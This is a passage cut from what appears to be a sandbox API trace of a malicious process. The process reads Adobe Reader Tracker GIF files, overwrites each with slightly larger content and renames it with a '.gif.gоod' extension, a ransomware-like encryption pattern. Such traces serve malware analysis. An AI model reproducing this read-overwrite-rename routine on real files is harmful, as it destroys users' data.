lpOldMode=0x1f35bfc0) returned 1 [0110.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x38f7a40 | out: lpFileInformation=0x38f7a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335)) returned 1 [0110.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0110.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", lpFilePart=0x0) returned 0x51 [0110.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0110.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0110.802] GetFileType (hFile=0x20c) returned 0x1 [0110.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0110.802] GetFileType (hFile=0x20c) returned 0x1 [0110.802] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x335 [0110.802] ReadFile (in: hFile=0x20c, lpBuffer=0x38f8060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x38f8060*, lpNumberOfBytesRead=0x1f35bf48*=0x335, lpOverlapped=0x0) returned 1 [0111.223] CloseHandle (hObject=0x20c) returned 1 [0111.409] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", lpFilePart=0x0) returned 0x51 [0111.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0111.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.513] GetFileType (hFile=0x6e4) returned 0x1 [0111.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0111.514] GetFileType (hFile=0x6e4) returned 0x1 [0111.514] WriteFile (in: hFile=0x6e4, lpBuffer=0x357e5a8*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x357e5a8*, lpNumberOfBytesWritten=0x1f35be58*=0x340, lpOverlapped=0x0) returned 1 [0111.515] CloseHandle (hObject=0x6e4) returned 1 [0111.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif", lpFilePart=0x0) returned 0x51 [0111.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif.gоod", lpFilePart=0x0) returned 0x56 [0111.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0111.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3eae5a55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0111.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0111.515] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\distribute_form.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\distribute_form.gif.gоod")) returned 1 [0111.516] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", lpFilePart=0x0) returned 0x4b [0111.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0111.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif"), fInfoLevelId=0x0, lpFileInformation=0x357f880 | out: lpFileInformation=0x357f880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3)) returned 1 [0111.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0111.516] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", lpFilePart=0x0) returned 0x4b [0111.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0111.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.516] GetFileType (hFile=0x6e4) returned 0x1 [0111.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0111.516] GetFileType (hFile=0x6e4) returned 0x1 [0111.516] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x5a3 [0111.516] ReadFile (in: hFile=0x6e4, lpBuffer=0x35800e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x35800e0*, lpNumberOfBytesRead=0x1f35bf48*=0x5a3, lpOverlapped=0x0) returned 1 [0111.604] CloseHandle (hObject=0x6e4) returned 1 [0112.160] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", lpFilePart=0x0) returned 0x4b [0112.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0112.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.161] GetFileType (hFile=0x6e4) returned 0x1 [0112.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0112.161] GetFileType (hFile=0x6e4) returned 0x1 [0112.161] WriteFile (in: hFile=0x6e4, lpBuffer=0x372a718*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x372a718*, lpNumberOfBytesWritten=0x1f35be58*=0x5b0, lpOverlapped=0x0) returned 1 [0112.162] CloseHandle (hObject=0x6e4) returned 1 [0112.162] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", lpFilePart=0x0) returned 0x4b [0112.162] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif.gоod", lpFilePart=0x0) returned 0x50 [0112.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0112.162] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3f101c4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0112.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0112.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif.gоod")) returned 1 [0112.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", lpFilePart=0x0) returned 0x51 [0112.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0112.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif"), fInfoLevelId=0x0, lpFileInformation=0x372b9d0 | out: lpFileInformation=0x372b9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550)) returned 1 [0112.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0112.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", lpFilePart=0x0) returned 0x51 [0112.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0112.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.164] GetFileType (hFile=0x6e4) returned 0x1 [0112.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0112.164] GetFileType (hFile=0x6e4) returned 0x1 [0112.164] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x550 [0112.165] ReadFile (in: hFile=0x6e4, lpBuffer=0x372c208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x372c208*, lpNumberOfBytesRead=0x1f35bf48*=0x550, lpOverlapped=0x0) returned 1 [0112.395] CloseHandle (hObject=0x6e4) returned 1 [0112.519] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", lpFilePart=0x0) returned 0x51 [0112.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0112.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.521] GetFileType (hFile=0x6e4) returned 0x1 [0112.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0112.521] GetFileType (hFile=0x6e4) returned 0x1 [0112.521] WriteFile (in: hFile=0x6e4, lpBuffer=0x35814c0*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35814c0*, lpNumberOfBytesWritten=0x1f35be58*=0x560, lpOverlapped=0x0) returned 1 [0112.522] CloseHandle (hObject=0x6e4) returned 1 [0112.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", lpFilePart=0x0) returned 0x51 [0112.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif.gоod", lpFilePart=0x0) returned 0x56 [0112.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0112.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3f46f282, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0112.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0112.522] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif.gоod")) returned 1 [0112.523] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", lpFilePart=0x0) returned 0x56 [0112.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0112.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x3582798 | out: lpFileInformation=0x3582798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327)) returned 1 [0112.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0112.524] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", lpFilePart=0x0) returned 0x56 [0112.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0112.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.524] GetFileType (hFile=0x6e4) returned 0x1 [0112.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0112.524] GetFileType (hFile=0x6e4) returned 0x1 [0112.524] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x327 [0112.524] ReadFile (in: hFile=0x6e4, lpBuffer=0x3582dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3582dd8*, lpNumberOfBytesRead=0x1f35bf48*=0x327, lpOverlapped=0x0) returned 1 [0113.132] CloseHandle (hObject=0x6e4) returned 1 [0113.160] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", lpFilePart=0x0) returned 0x56 [0113.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0113.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0113.161] GetFileType (hFile=0x6e4) returned 0x1 [0113.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0113.162] GetFileType (hFile=0x6e4) returned 0x1 [0113.162] WriteFile (in: hFile=0x6e4, lpBuffer=0x36afa48*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x36afa48*, lpNumberOfBytesWritten=0x1f35be58*=0x330, lpOverlapped=0x0) returned 1 [0113.403] CloseHandle (hObject=0x6e4) returned 1 [0113.534] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", lpFilePart=0x0) returned 0x56 [0113.534] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif.gоod", lpFilePart=0x0) returned 0x5b [0113.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0113.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3fcf1088, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0113.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0113.548] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif.gоod")) returned 1 [0113.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", lpFilePart=0x0) returned 0x4c [0113.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0113.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif"), fInfoLevelId=0x0, lpFileInformation=0x3552818 | out: lpFileInformation=0x3552818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384)) returned 1 [0113.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0113.550] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", lpFilePart=0x0) returned 0x4c [0113.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0113.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.550] GetFileType (hFile=0x7c8) returned 0x1 [0113.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0113.550] GetFileType (hFile=0x7c8) returned 0x1 [0113.550] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x384 [0113.550] ReadFile (in: hFile=0x7c8, lpBuffer=0x3552e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3552e68*, lpNumberOfBytesRead=0x1f35bf48*=0x384, lpOverlapped=0x0) returned 1 [0113.552] CloseHandle (hObject=0x7c8) returned 1 [0113.578] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", lpFilePart=0x0) returned 0x4c [0113.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0113.579] 